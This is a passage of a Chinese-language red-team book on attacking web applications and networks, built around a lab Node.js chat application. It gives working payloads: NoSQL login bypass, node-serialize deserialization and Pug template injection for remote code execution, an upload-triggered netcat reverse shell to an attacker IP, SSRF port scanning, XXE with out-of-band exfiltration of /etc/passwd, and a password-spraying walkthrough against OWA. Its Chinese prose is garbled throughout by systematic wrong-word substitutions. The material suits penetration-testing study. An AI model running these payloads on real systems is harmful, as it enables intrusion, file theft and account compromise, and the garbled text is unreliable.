username[$gt]=admin&password[$gt]=&submit=login上头的 POST 苦求执行上是在数据库中查询下一个大于 admin 的用户名,并使用密码字段生成一个 TRUE 语句。如果成功,你应该在管制员之后按字母划定作为下一个用户登录。络续这样作念,直到找到 superaccount 。
更多 NoSQL Payload:
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL Injection https://blog.websecurify.com/2014/08/hacking-nodejs-andmongodb.html https://www.owasp.org/index.php/Testing_for_NoSQL_injection 反序列化障碍在昔时的几年中,通过蚁集进行的序列化/反序列化障碍变得越来越流行。咱们在 BlackHat上看到了许多不同的谋划,发现了 Jenkins 和 Apache Struts2 等常见应用步调中的错误疏忽,况兼正在开发像 ysoserial 这样器具的大批活跃研究。那么反序列化障碍有什么锐利之处呢?
在咱们开首之前,咱们需要了解为什么要序列化。序列化数据有许多原因,但最常用于生成值/数据的可存储示意而不会丢失其类型或结构。序列化将对象调换为字节流,以通过蚁集传输或存储。日常,调换方法触及 XML,JSON 或特定于该语言的序列化方法。
NodeJS 中的反序列化许多时候,发现复杂的疏忽需要深入了解应用步调。在咱们的场景中,Chat NodeJS 应用步调正在使用易受障碍的 serialize.js 版块 。可以发现这个 Node 库易受障碍,因为 “不受信任的数据被传递到 unserialize() 函数中,障碍者通过传递一个存在 Immediately Invoked Function Expression(IIFE)的 JavaScript 对象可以引起苟且代码践诺。”( https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5941 )
让咱们渐渐了解障碍的细节,以便更好地了解正在发生的事情。第一,咱们观望了 serialize.js 文献并快速搜索 eval( https://github.com/luin/serialize/search?utf8=✓&q=eval&type= )。日常,允许用户输入进入 JavaScript eval 语句是坏的音书,因为 eval()践诺原始 JavaScript。如果障碍者能够将 JavaScript 注入此语句,他们将能够在劳动器上践诺长途践诺代码。
其次,咱们需要创建一个序列化的 payload,它将被反序列化,并通过咱们的 JavaScript payload require('child_process').exec('ls').
{“thp”:“_$$ND_FUNC$$_function (){require(‘child_process’).exec(‘DO SYSTEM COMMANDS HERE’, function(error, stdout, stderr) { console.log(stdout) });}()”}
上头的 JSON 对象将通过以下的苦求(){require('child_process').exec('ls')}进入 unserialize 函数中的 eval 语句,为咱们提供长途代码践诺。要扎眼的临了一部分是结果括号添加了“()”,因为莫得它咱们的函数就不会被调用。第一个发现此疏忽的研究员 Ajin Abraham 发现,使用立即调用的函数抒发式或 IIFE( https://en.wikipedia.org/wiki/Immediately-invoked_function_expression )将允许在创建后践诺该函数。关系此疏忽的更多详备信息,请造访:https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5941 。
在咱们的聊天应用步调示例中,咱们将观望 cookie 值,该值正在使用此易受障碍的库进行反序列化:
转到 :3000 代理 burp 中的流量并观望 cookie 识别一个 cookie 称号“donotdecodeme” 将该 Cookie 复制到 Burp Suite Decoder 和 Base64 中进行解码如前所述,每种语言齐有其特别的地点,NodeJS 也不例外。在 Node/Express/Pug 中,你无法径直写入 Web 目次,然则可以像在 PHP 中一样造访它。必须有一个指向文献夹的指定旅途,该文献夹既可写又可造访到群众蚁集。
创建有用 payload
在开首之前,请记真实验中的扫数这些 payload 齐可以从这里复制粘贴: 获取原始 payload 并修改你的 shell 践诺“'DO SYSTEM COMMANDS HERE” 例: 由于原始 Cookie 已编码,咱们必须通过 Burp Decoder/Encoder 对咱们的 payload 进行 base64编码 *示例 payload:eyJ0aHAiOiJfJCRORF9GVU5DJCRfZnVuY3Rpb24gKCl7cmVxd 刊出,打开Burp阻拦,并转发/(home)苦求 将 cookie 修改为新创建的 Base64 payload 转发流量,因为公用文献夹是/的路由,你应该能够打开浏览器并转到 :3000/hacked.txt 你现在可以进行长途践诺代码!纵容对此系统进行后期应用。最先尝试造访 /etc/passwd。在 node-serialize 模块的源代码中,咱们可以应用函数抒发式,这对于使用用户输入践诺此操作的任何 JavaScript/NodeJS 应用步调来说齐是一个严重的问题。这种恶运的作念法让咱们攻陷了这个应用步调。
参考文献:
https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/
https://github.com/luin/serialize
https://snyk.io/test/npm/node-serialize?severity=high&severity=medium&severity=low
https://blog.websecurify.com/2017/02/hacking-node-serialize.html
模板引擎障碍——模板注入模板引擎由于其模块化和纯粹的代码与圭臬 HTML 比拟而被更频繁地使用。模板注入是指用户输入径直传递到渲染模板,允许修改底层模板。这可以在 wiki,WSYWIG 或电子邮件模板中坏心使用。这种情况很少发生在无意中,是以它通常被误解为只是 XSS。模板注入日常允许障碍者造访底层操作系统以获取长途代码践诺。
鄙人一个示例中,你将通过 Pug 对咱们的 NodeJS 应用步调践诺模板注入障碍。咱们无意中将我方透露给模板注入,使用带有用户输入的元重定向,使用模板翰墨${}径直在 Pug 中呈现。浩瀚的是要扎眼模板翰墨允许使用换行符,这是咱们必须破碎段落标记,因为 Pug 是空格和换行符,雷同于 Python 。
在 Pug 中,第一个字符或单词示意示意标签或功能的 Pug 错误字。你也可以使用缩进指定多行字符串,如下所示:
p. 这是段落缩进。 这仍然是段落标记的一部分。以下是 HTML 和 Pug 模板的示例:
上头的示例文本骄贵了它在 HTML 中的外不雅以及相应的 Pug Markup 语言的外不雅。通过模板和字符串插值,咱们可以创建快速,可重用且高效的模板
模板注入示例
聊天应用步调容易受到模板注入障碍。鄙人面的应用步调中,咱们将望望咱们是否可以与 Pug 模板系统进行交互。这日常可以通过检查咱们提供的输入参数是否可以处理基本操作来完成。James Kettle 写了一篇对于障碍模板和与底层模板系统交互的大论文( )。
与 Pug 交互:
转到 :3000 并使用任何有用帐户登录 转到 :3000/directmessage 并输入用户和驳倒以及“发送”,接下来,复返 Direct Message 页面并尝试将 XSS payload 输入到用户参数<script>alert(1)</script> :3000/ti?user=&comment 这表明应用步调容易受到 XSS 的障碍,但咱们可以与模板系统进行交互吗? 在 Burp 历史纪录中,观望劳动器请 request/response 的响应 /ti?user=,并将苦求发送到 Burp Repeater(ctrl+r)测试基本操作
咱们可以通过将它传递给算术字符串来测试模板注入的 XSS 易受障碍参数。如果咱们的输入被读取,它将识别它易受模板注入的影响。这是因为模板(如编码语言)可以减弱救助评估算术运算符。
测试基本操作符:
在 Burp Repeater 中,测试 /ti 上的每个参数以进行模板注入。咱们可以通过传递9乘9这样的数学运算来作念到这一丝。
咱们可以看到它莫得用,咱们莫得得到81,请记着,咱们的用户输入包含在段落标记内,是以咱们可以假设咱们的 Pug 模板代码看起来像这样:
p Message has been sent to !{user}应用 Pug 的特质:
正如咱们之前所说,Pug 是空格分隔的(雷同于 Python),换行符开首一个新的模板输入,这意味着如果咱们可以突破 Pug 中确当前行,咱们可以践诺新的模板代码。在这种情况下,咱们将冲破段落标记 <p> ,如上所示,并践诺新的坏心模板代码。为此,咱们将不得不使用一些 URL 编码来应用此疏忽( )。
让咱们渐渐完成每个要求以践诺模板注入:
最先,咱们需要触发一个新行并突破当前模板。这可以使用以下字符完成: new line 其次,咱们可以通过使用“=”标记来应用 Pug 中的算术函数 =%编码“=”标记 临了,咱们可以输入咱们的数学方程式 9*9数学方程式因此,最终 payload 将如下所示:
[newline]=9*9 URL 编码: GET /ti?user= =9*9&comment=&link=GET /ti?user= =9*9在响应正文中给出了81。你已在用户参数中发现了模板注入!让咱们通过应用 JavaScript 来获取长途代码。
正如你在响应中所看到的,咱们在段落标记之外有“81”而不是用户名!这意味着咱们能够注入模板。
咱们现在知说念咱们可以进行模板注入,因为咱们可以践诺毛糙的策动,然则咱们需要望望是否可以践诺 shell。要得回 shell 践诺,咱们必须找到正确的函数来在 Node/JavaScript 中践诺。
最先,咱们将识别自身全局对象的根节点,然后络续细目咱们可以造访哪些模块和功能。咱们但愿最终使用 Require 函数导入 child_process.exec 以运行操作系统呐喊。在 Pug 中,“=”字符允许咱们输出 JavaScript 结果。咱们将从造访全局根开首: [new line]=global 使用 Burp 的解码器器具将上述抒发式编码为 URL 编码,可以得到: = global 使用上头的 URL 编码字符串作为用户值并从头发送。 如果在提交前后苦求一切成功,咱们将看到 [object global],这意味着咱们可以造访全局对象。解析全局对象:
让咱们通过在全局范围内使用 Pug 迭代器‘each’来观望咱们可以造访的对象和属性。记着换行符( )和空格( ): each val,index in global p=index URL 编码: each val,index%2 在上头的例子中,咱们使用‘each’迭代器,它可以造访一个值,况兼如果咱们指定了数组或对象,也可以采纳造访索引。咱们试图找到咱们在全局对象中可以造访的对象,方法或模块。咱们的最终主义是找到雷同“require”方法的东西,以允许咱们导入 child_process.exec,它允许咱们运行系统呐喊。从现在开首,咱们只是使用反复查考来识别最终会给咱们 require 方法的方法或对象。查找代码践诺功能:
从上一个苦求中,咱们看到了全局中的扫数对象以及一个名为“process”的对象。接下来,咱们需要识别咱们在 global.process 中可以造访的兴趣对象:
each val,index in global.process p=index URL 编码: each val,inde%7咱们从扫数可用的方法中采纳“process”,因为咱们知说念它最终会导致‘require’。你可以通过采纳不同的迭代方法来尝试尝试和诞妄过程:
each val,index in global.process.mainModule p = indexURL 编码: each val,index%2
长途践诺代码:
发送此最终 payload ,咱们应该在 global.process.mainModule 中看到“require”函数。咱们现在可以将其接济为使用.exec 导入‘child_process’以获取 RCE: var x = global.process.mainModule.require x('child_process').exec('cat / etc / passwd >>/opt/web/chatSupportSystems/public/accounts.txt') URL 编码: - var x = glo%6 在上头的例子中,咱们像在 JavaScript 中一样界说变量“x”,但行开始的破折号示意无缓冲输出(荫藏)。咱们正在使用全局对象和咱们最终需要的模块‘require’,这允许咱们使用‘child_process’.exec 来运行系统呐喊。 咱们将 /etc/passwd 的内容输出到 Web 群众根目次,这是咱们唯一具有写入权限的目次(由应用步调创建者瞎想),允许用户观望内容。咱们也可以使用系统呐喊践诺反向shell或其他任何允许的操作。 咱们可以看到 :3000/accounts.txt 将包含的内容 来自 Web 劳动器的 /etc/passwd。 使用此呐喊在系统上践诺完整的 RCE 并复返 shell。现在,咱们可以对这一系列操作斥逐自动化吗?天然可以。有一个雷同 SQLmap 的名为 Tplmap 的器具,它可以尝试模板注入的扫数不同组合:
cd /opt/tplmap ./tplmap.py -u ":3000/ti?user=*&comment=asdfasdf&link="参考:
-side-template-injection.html https://hawkinsecurity.com/2017/12/13/rce-via-spring-engine-ssti/ JavaScript 和长途代码践诺长途代码践诺是咱们在每次入侵和 Web 应用步调渗入测试中必须寻找的。天然 RCE 险些可能在职何地点找到,但它们最常见于允许上传的地点,举例:上传 web shell,一个像 Imagetragick 这样的疏忽应用,使用 Office 文献进行 XXE 障碍,基于遍历的目次上传以替换错误文献等。
传统来说,咱们可能会尝试找到咱们可以使用的上传区域和 shell。可以在此处找到不同类型的 webshell payload 的绝佳列表:https://github.com/tennc/webshell 。请扎眼,我毫不会审查任何这些 shell 是否存在后门,是以使用它们需要你自担风险。我遭遇过许多有后门的 shell。
使用上传障碍对聊天应用步调进行障碍
在咱们的实验室中,咱们将在 Node 应用步调上践诺上传 RCE。在咱们的示例中,有一个文献上传功能,允许任何文献上传。横祸的是,使用 Node,咱们不成只通过 Web 浏览器调用文献来践诺文献,就像在 PHP 中一样。因此,在这种情况下,咱们将使用动态路由端点尝试呈现 Pug 文献的内容。诞妄在于端点将读取文献的内容,假设它是 Pug 文献,因为默许目次存在于 Views 目次中。此端点上还存在旅途遍历和腹地文献读取疏忽。
在上传过程中,文献处理步调模块会将文献重定名为随机字符串,莫得推广名。在页面的上传响应内容中,存在上载文献的劳动器旅途位置。使用这些信息,咱们可以使用/drouting 践诺模板注入以斥逐长途代码践诺。
既然咱们知说念底层应用步调是 Node(JavaScript),咱们可以上传什么样的 payload 来才能被 Pug 践诺?回到咱们之前使用的毛糙示例:
最先,为 require 模块分配一个变量 -var x = global.process.mainModule.require 使用子程度模块使咱们能够通过运行任何系统呐喊来造访操作系统功能: -x('child_process').exec('nc [Your_IP] 8888 -e /bin/bash')RCE 上传障碍:
转到 :3000 并使用任何有用帐户登录 使用以下信息上传文本文献。在 Pug 中,“-”字符示意践诺 JavaScript。 -var x = global.process.mainModule.require -x('child_process')。exec('nc [Your_IP] 8888 -e / bin / bash') 通过上传文献观望 Burp 中的请乞降响应。你将扎眼到在响应 POST 苦求中上传的文献的哈希值以及援用的 drouting。 在这个模板代码中,咱们将 require 函数分配给 child_process.exec,它允许咱们在操作系统级别上运行呐喊。此代码将使 Web 劳动器结合到在端口8888上 [Your_IP] 上运行的监听器,并允许咱们在 Web 劳动器上运行 shell。 在障碍者策动机上,启动 shell 的 netcat 侦听器以结合回 nc -l -p 8888 咱们通过在 /drouting 上运行端点来激活代码。在浏览器中,转到上传的哈希文献。 drouting 端点领受指定的 Pug 模板并呈现它。对咱们来说红运的是,咱们上传的 Pug 模板包含咱们的反向 Shell 。 在浏览器中,使用你从文献上载响应中收复的文献造访 drouting 端点。咱们使用目次遍历“../”来复返上一个目次,以便能够进入包含咱们的坏心文献的 uploads 文献夹: /drouting?filename=../uploads/[你的文献哈希] 回到你的终局监听 8888 端口并在你的 shell 里操作吧! 劳动器端苦求伪造(SSRF)劳动器端苦求伪造(SSRF)是我认为日常被误解的疏忽之一,况兼在术语方面,通常与跨站点苦求伪造(CSRF)污染。天然这个疏忽还是存在了一段时辰,但执行上还莫得得到鼓胀的谋划和爱好,尤其它可以形成的绝顶严重的后果。让咱们来望望它是什么以及为什么会形成严重的后果。
劳动器端苦求伪造日常被应用以造访腹地系统,进入里面蚁集或允许某种移动。清醒 SSRF 的最毛糙方法是通过一个例子讲述。假设你有一个群众 Web 应用步调,允许用户通过 URL 从 Internet 高下载成立文献图像。你登录该站点,转到你的个东说念主贵府,然后单击 Imgur(群众图像托管劳动)的更新个东说念主贵府按钮。你提供图像的 URL( 举例:https://i.imgur.com/FdtLoFI.jpg)并点击提交。接下来发生的事情是劳动器会创建一个全新的苦求,转到 Imgur 站点,抓取图像(它可能会践诺一些图像操作来调养图像-图像追踪任何东说念主的大小?),将其保存到劳动器,并发送成功音书回到用户。如你所见,咱们提供了一个 URL,劳动器获取该 URL 并抓取图像,并将其上传到其数据库。
咱们提供了领先的 Web 应用步调的 URL,以从外部资源中获取咱们的个东说念主贵府图片。然则,如果咱们将图像 URL 指向 :80/favicon.ico 会发生什么?这将告诉劳动器不是苦求像 Imgur 这样的东西,而且从腹田主机劳动器(它自身)获取 favicon.ico 图片文献。如果咱们能够得回复返包的值是 200 或使咱们的个东说念主贵府图片成为腹地的 favicon 图片,咱们就知说念咱们可能发现了 SSRF。
由于它在80端口上责任,那么如果咱们尝试结合到 :8080 会发生什么情况(8080 是一个除 localhost 之外无法造访的端口)?这即是它变得兴趣的地点。如果咱们确乎得到完整的 HTTP 苦求/响应,况兼咱们可以在腹地对8080端口发出 GET 苦求,那么如果咱们发现了一个易受障碍的 Jenkins 或 Apache Tomcat 劳动会发生什么?即使这个端口莫得被公开监听,咱们可能也可以入侵这个环境。更好的是,咱们或然可以开首苦求内网IP:-254 ,而不是127.0.0.1。纪念一下那些复返了内网 IP 露出的蚁集扫描结果,你对此不屑一顾。然则这恰是它们从头阐述作用的地点,咱们可以通过它们来使用里面蚁集劳动。
SSRF 疏忽允许你可以践诺以下操作:
在回文接口上造访劳动 扫描里面蚁集和与这些劳动的潜在交互方式(GET/POST/HEAD) 使用 FILE:// 读取劳动器上的腹地文献 使用 AWS Rest 接口( ) 横向移动到里面环境中在咱们的下图中,咱们发现 Web 应用步调上存在易受障碍的 SSRF,允许咱们应用此疏忽:
让咱们来看一个现实中的例子:
在你的聊天救助系统( :3000/ )Web 应用步调中,最先确保创建一个帐户并登录。 登录后,通过连气儿转到 Direct Message(DM)页面或径直通过 :3000/directmessage 。 在“连气儿”文本框中,放入 等网站,然后单击预览连气儿。 你现在应该看到 页面的呈现,但 URI 栏仍应指向咱们的聊天应用步调。 这表明该站点容易受到 SSRF 的障碍。咱们也可以尝试聊天:3000/ssrf?user=&comment=&link=:3000 并指向 localhost。请扎眼,页面呈现了,咱们现在正通过有疏忽的劳动器上的 localhost 造访该站点。咱们知说念应用步调自身正在监听3000端口。咱们可以从外部对该系统进行 nmap 扫描,并发现当前莫得其他 Web 端口正在监听,然则哪些劳动只是对于 localhost 可用?要搞真切这个问题,咱们需要通过127.0.0.1的扫数端口强制践诺。咱们可以通过使用 Burp Suite 和 Intruder 来斥逐这一主义。
在 Burp Suite 中,转到 Proxy/HTTP History 选项卡,找到咱们上一个 SSRF 的苦求包。
在 Request Body 上单击右键并发送给 Intruder。
Intruder 选项卡将亮起,转到 Intruder 选项卡,然后单击 clear。单击并隆起骄贵端口“3000”,然后单击 add。你的 GET 苦求应如下所示:
GET/ssrf?user=&comment=&link= :§3000§HTTP/ 1.1单击 payload 选项卡,然后采纳将 Payload 类型采纳为 “Numbers”。咱们将从28000端口转到28100。日常,你将测试扫数端口,但让咱们在实验的时候简化它吧。
From:28000
To:28100
Step:1
点击 Start Attack
你将看到端口28017的响应长度广阔于扫数其他苦求。如果咱们打开浏览器并转到::3000/ssrf?user=&comment=&link=:28017 ,咱们应该能够应用咱们的 SSRF 并得回对 MongoDB Web 界面的造访权限。
你应该能够造访扫数连气儿,但你必须记着你需要使用 SSRF。要造访 serverStatus( :3000/serverStatus?text=1 ),你必须使用 SSRF 障碍并转到此处:
:3000/ssrf?user=&comment=&link=:28017/serverStatus?text=1劳动器端苦求伪造可能相称危机。天然不是新的疏忽,但咫尺发现的 SSRF 疏忽数目越来越多。由于 SSRF 允许在基础设施内进行移动,这日常会导致某些浩瀚的发现。
其他资源:
腹地的许多编码: -Server_side_browsing_considered_harmful.pdf Bug Bounty - AirBNB 示例: XML 外部实体障碍(XXE)XML 代表可推广标记语言,旨在发送/存储易于阅读的数据。 XML eXternal Entities(XXE)是对应用步调中 XML 解析器的障碍。XML 解析常见于允许文献上传,解析 Office 文档,JSON 数据以至 Flash 类型游戏的应用步调中。当允许 XML 解析时,不正确的验证可以授予障碍者读取文献的权限、导致断绝劳动障碍,以至长途代码践诺。从一个比较高的维度来看,应用步调具有以下需求:1) 解析用户提供的 XML 数据,2) 实体的系统象征符部分必须在文档类型声明(DTD)内,3) XML处理器必须验证/处理 DTD 并解析外部实体。
上头,咱们有一个普通的 XML 文献和一个专门用来从系统的 /etc/passwd 文献中读取文献的坏心 XML。咱们将望望是否可以在真实的 XML 苦求中注入坏心 XML 苦求。
XXE 实验:
由于自界说成立苦求,有一个不同的 VMWare 臆造机用于 XXE 障碍。这可以在这里找到:
?type=XXE-vm下载后,在 VMWare 中打开臆造机并启动它。在登录屏幕上,你无需登录,但你应该看到系统的 IP 地址。
转到浏览器:
通过 Burp Suite 代理扫数流量 转到 URL:http://[IP of your Virtual Machine] 阻拦流量并点击 Hack the XML如果在加载页面后观望页面的 HTML 源代码,你可以看到有一个通过 POST 苦求提交的荫藏字段。XML 内容如下所示:
在这个例子中,咱们指定它是 XML 1.0版块,DOCTYPE,指定根元素是 thp,!ELEMENT 指定任何类型,况兼 !ENTITY 将 book 变量接济为“Universe”字符串。临了,在咱们的 XML 输出中,咱们但愿从解析 XML 文献中打印出咱们的实体。
这日常是你在发送 XML 数据的应用步调中看到的内容。由于咱们收敛具有 XML 苦求的 POST 数据,因此咱们可以尝试注入咱们我方的坏心实体。默许情况下,大多数 XML 解析库齐救助 SYSTEM 错误字,该错误字允许从 URI 读取数据(包括使用 file:// 条约 )。因此,咱们可以创建我方的实体来制作在 /etc/passwd 上读取的文献。
XXE 实验——阅读文献:
阻拦 [你的 VM 的 IP]/xxe.php 的流量包并点击 Hack of XML 将截获的流量包发送到 Repeater 将“data”的 POST 参数修改为以下内容: ]>Hack The &book; 请扎眼,& 等同于&,;等同于 ;。咱们需要对&标记和分号字符进行百分比编码。 发送流量包,咱们现在应该能够读取 /etc/passwd 高等 XXE——XXE-OOB在之前的障碍中,咱们能够在<thp>标签中得回复返的响应。那么如果咱们看不到响应或遭遇字符或文献收敛如何办?咱们怎样使用带外数据条约(OOB)来发送咱们的数据?咱们可以提供长途文档类型界说(DTD)文献来践诺 OOB-XXE,而不是在苦求 payload 中界说咱们的障碍。DTD 是结构讲究的 XML 文献,用于界说 XML 文档的结构和法律元素及属性。为了毛糙起见,咱们的 DTD 将包含咱们扫数的障碍或 exfil payload,这将匡助咱们惩办许多字符的收敛。在咱们的实验示例中,咱们将使有 XXE 疏忽的劳动器苦求一个托管在长途劳动器上的 DTD。
新的 XXE 障碍将分四个阶段进行:
使用批改后的 XXE XML 障碍 对于存在疏忽的 XML 解析器,它会从障碍者劳动器抓取一个 DTD 文献 该 DTD 文献包含读取 /etc/passwd 文献的代码 该 DTD文献也包含用于隐敝传输 /etc/passwd 内容的代码(可能是经过编码的)接济咱们的障碍者机器和 XXE-OOB payload:
咱们将指定一个外部 DTD 文献,而不是原始文献读取 新的“数据”POST payload 将如下所示(牢记调动 [Your_IP]): 咱们需要通过创建名为 payload.dtd 的文献在障碍者劳动器上托管此 payload gedit /var/www/html/payload.dtd你刚刚创建的 DTD 文献指示易受障碍的劳动器读取 /etc/ passwd 然后尝试使用咱们的明锐数据向咱们的障碍者机器发出 Web 苦求。为了确保咱们收到响应,咱们需要启动 Web 劳动器来托管 DTD 文献并接济 NetCat 监听器
nc -l -p 8888你将遭遇“检测到实体援用轮回”类型的诞妄,具体的报错内容大要是:“Detected an entity reference loop in <b>/var/www/html/xxe.php on line <b>20"。在进行 XXE 障碍时,日常会遭遇解析器诞妄。许多时候,XXE 解析器只是允许某些字符,因此读取带有特殊字符的文献会报错。咱们可以作念些什么来惩办这个问题?在使用 PHP 的情况下,咱们可以使用 PHP 输入和输出流( )来读取腹地文献,并使用 php://filter/read=convert.base64-encode 对它们进行 base64 编码。让咱们重启咱们的 NetCat 监听器并调动咱们的 payload.dtd 文献以使用此功能:
一朝咱们重放咱们新修改的苦求,咱们现在就可以看到咱们的受害者劳动器最先获取并运行了 payload.dtd 文献,然后监听8888端口的 NetCat 处理步调发出二次 Web 苦求。天然,GET 苦求将领受 base64编码况兼咱们也将必须对苦求进行解码。
更多 XXE payload:
https://gist.github.com/staaldraad/01415b990939494879b4 https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/XXE-Fuzzing.txt 本章总结天然这只是你可能遭遇的扫数不同蚁集障碍的一小部分,但我但愿这些案例能打开你的视线,对于更现代的框架(Node.js)是如何引入旧的和新的障碍。许多常见的应用步调疏忽扫描器往往会错过许多这些更复杂的疏忽,因为它们是基于特定的语言或框架的。我想提议的要点是,为了进行充分的障碍行为,你需要确凿清醒语言和框架。
第4章 带球——开首障碍蚁集
在进行风险评估样子的第二天,你使用 nmap 扫描了主义的全部网段,还启动了疏忽扫描器,但运说念不太好,你莫得探伤出任何 Web 应用步调的驱动进口点。这让你感到有些失败,需要反念念一下,从头回顾一下之前采集到的扫数信息。因为你知说念,一朝可以进入主义蚁集,就可以使用无数的技巧来得回更多的凭证、在域中漫游、应用 AD(行为目次)的秉性,临了找到咱们要找的东西。天然,这不是一件容易的事。因为你要绕过宽阔防火墙,还要诳骗管制员,临了还要擦除我方的陈迹。
在上一册书中,本部分难得于使用疏忽扫描器来发现疏忽并应用它们。这是通过使用诸如 Metasploit、打印机疏忽、腹黑滴血、Shellshock、SQL 注入等常见疏忽的应用器具来斥逐的。最近一段时辰,爆出了许多严重的长途代码践诺疏忽,比如 不灭之蓝(MS017-10)、多个版块的 Jenkins 疏忽、Apache Struts 2、CMS 应用的代码践诺疏忽等等。因为本书是以红队的视角来发扬的,因此咱们不会过多地关注如何使用这些器具来障碍应用特定的疏忽。相背,咱们将关注如何应用公司现存的应用步调,马上取材来发现疏忽,然后攻破公司蚁集。
在本章中,将聚拢谋划红队的战术,如何应用公司基础设施、获取身份凭证、探索里面蚁集以及在主机和蚁集之间进行漫游。咱们将在不运行任何一个疏忽扫描器的前提下完成这项责任。
从外网寻找侵入对方系统的登陆凭证作为一个红队成员,找到领先的障碍点可能很费事,需要阔绰大批的资源。在上本书中,咱们尝试过伪造受害者的身份验证页面、购买相称相似的域名来对主义实施垂纶,以及编写自界说的坏心软件等不同的方法。
有时候,我告诉我的红队队员要保持毛糙的念念想。许多时候,那些令东说念主赞美的高等妙技,反而不如一些毛糙初级的方法管用,最毛糙的方法往往是最有用的。
最基本的时期之一即是暴力破解密码。然则,作为红队的一员,咱们必须商量如何秘籍地作念到这一丝。随着公司的发展,公司使用了更多的应用步和谐时期器具。对于障碍者来说,这无疑为他们拓宽了进犯的大门。当公司开首透露在互联网上时,咱们看到公司需要对电子邮件(如 Office 365或 OWA)、通讯器具(如 Lync、XMPP、WebEx)、协调器具(如 JIRA、Slack、Hipchat、Huddle)和其他外部劳动(如 Jenkins、CMS 站点、救助站点)进行身份验证。这些即是咱们的主义突破口。
咱们试图障碍这些劳动器和劳动的原因是,咱们需要寻找能对受害者的 LDAP 或 AD 这些基础设施进行身份验证的器具。这可以通过 ADFS 方式、单点登录(SSO)方式或者径直使用 AD 域认证等不同的方式来完成。咱们需要找到一些可以应用的群众凭证,以便络续进行下一步的障碍。在信息采集阶段,咱们发现并识别了大批的电子邮箱地址和用户名帐号,咱们将对这些获取到的信息进行一种叫“密码喷洒”(Password Spraying)的障碍。咱们将针对扫数不同的应用步调,尝试猜测基本密码,正如咱们在现实寰宇的 APT 行为中看到的那样( US-CERT 著述: )。
译者注:“密码喷洒障碍”(Password Spray Attack)并不等同于“密码爆破障碍”(Brute Force Attack)。事实上,这两种障碍是相背的。在密码爆破障碍中,黑客采纳一个易受障碍的 ID 并一个接一个地输入密码,但愿有一些密码可以让他们进入。基本上,密码爆破是用多个密码尝试破解并吞个 ID。而密码喷洒障碍,是用一个密码来尝试多个用户 ID,以便至少有一个用户 ID 被露出。对于密码喷洒障碍,黑客使用应酬工程或其他蚁集垂纶方法采集多个用户 ID。日常情况下,至少有一个用户使用毛糙的密码,如12345678以至是 p@ssw0rd。在密码喷洒障碍中,黑客会为他或她采集的扫数用户 ID 应用全心构造的密码。因此,密码喷洒障碍可以界说为将同样的密码应用于组织中的多个用户帐户,目的是安全的对其中一个帐户进行未授权造访。暴力破解的问题在于,在使用不同密码进行一定次数的尝试后,系统可能会被锁定。为了幸免这种情况,产生了采集用户 ID 并将可能的密码应用于它们的想法。使用密码喷洒障碍时,黑客也会采取一些细心措施。举例,如果他们尝试将 password1应用于扫数用户帐户,则在完成第一轮后,他们不会立即开首将 password2应用于这些帐户。他们将在黑客障碍中留出至少30分钟的时辰。参考贵府:Password Spray Attack Definition and Defending yourself
那么,为什么要针对不同的外部劳动进行身份验证呢?这是因为:
有些身份验证步调不会纪录从外部劳动尝查考据的次数。 天然咱们日常看到电子邮件或 VPN 系统要求双身分验证(2FA),但面向外部的即时通讯系统可能不需要。 密码重用的可能性相称高。 有的时候,当使用 AD 账户屡次重迭登录失败时,外部系统并不会将此账户锁定。有许多器具可以斥逐密码喷洒障碍,然则,咱们只关注其中的几个。第一个是来自 Spiderlabs 的名为 Spray 的器具。尽管 Spray 使用起来有点复杂,但我相称心爱它所救助的一些劳动。举例,它救助 SMB、OWA 和 Lync(Microsoft Chat)。
要使用 Spray,你需要指定以下几个参数:
正如你将鄙人面的示例中看到的那样,咱们使用 Spray 对 cyberspacekittens 上的一个 OWA 邮件劳动器(该劳动器现在还是下线了)进行密码破解,当它使用密码 Spring2018与用户名 peter 尝试进行配对时,成功的登进了系统。
我通常遭遇的一个问题是,应该使用哪个密码进行尝试?因为在锁定帐号之前,只可不休的屡次尝试密码。事实上这个问题莫得正确谜底,使用哪个密码相称依赖于这家公司的密码接济轨则。咱们昔时可以使用一些毛糙密码进行尝试,比如“Password123”,因为总有一些东说念主会因为图浅显而使用毛糙密码。但随着东说念主们安全意志的提高,现在现在越来越少东说念主使用这种密码了,因而成功率也就变低了。现在的话,咱们一般结合使用以下规则的一条到多条来构建咱们的尝试密码:
月份和年份的数字组合。 当地的球队和球员的数字编号组合。 观望一些以前泄浮现来的数据,找一些有莫得主义公司的用户贵府露出,因为同样公司的用户可能会使用雷同的密码。 公司称号+年份/编号/特殊的字符 (如!,$,#,@)编好了密码之后,咱们就可以24小时不圮绝平缓地运行咱们的账号破解步调,慢是为了幸免触发任何帐号锁定。请记着,咱们只是匹配成功一个账号就可以进入大门了!
此图是使用 Curl 对 OWA 进行身份认证的快速剧本
成立 Spray 相称毛糙,而且其成立文献可以很容易地给其他雷同步调参考使用。你需要作念的是拿获登录密码时的 POST 苦求(可以在 Burp Suite 中完成),复制扫数苦求数据,并将其保存到文献中。对于任何将要被破解的字段,你需要提供字符串“sprayuser”和“spraypassword”。
举例,在咱们的例子中,post-request.txt 文献如下所示:
POST /owa/auth.owa HTTP/1.1 Host: mail.cyberspacekittens.com User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://mail.cyberspacekittens.com/owa/auth/logon.aspx?replaceCurrent=1&url=https://mail.cyberspacekittens.com/owa/ Cookie: ClientId=VCSJKT0FKWJDYJZIXQ; PrivateComputer=true; PBack=0 Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 131 destination=https://cyberspacekittens.com/owa/&flags=4&forcedownlevel=0
译者注:临了一个 destination 字段的内容本书的英文版块貌似骄贵不全,至少是我拿到的英文版块 PDF 骄贵不全。我只是毛糙的复制自 PDF,读者扎眼一下。
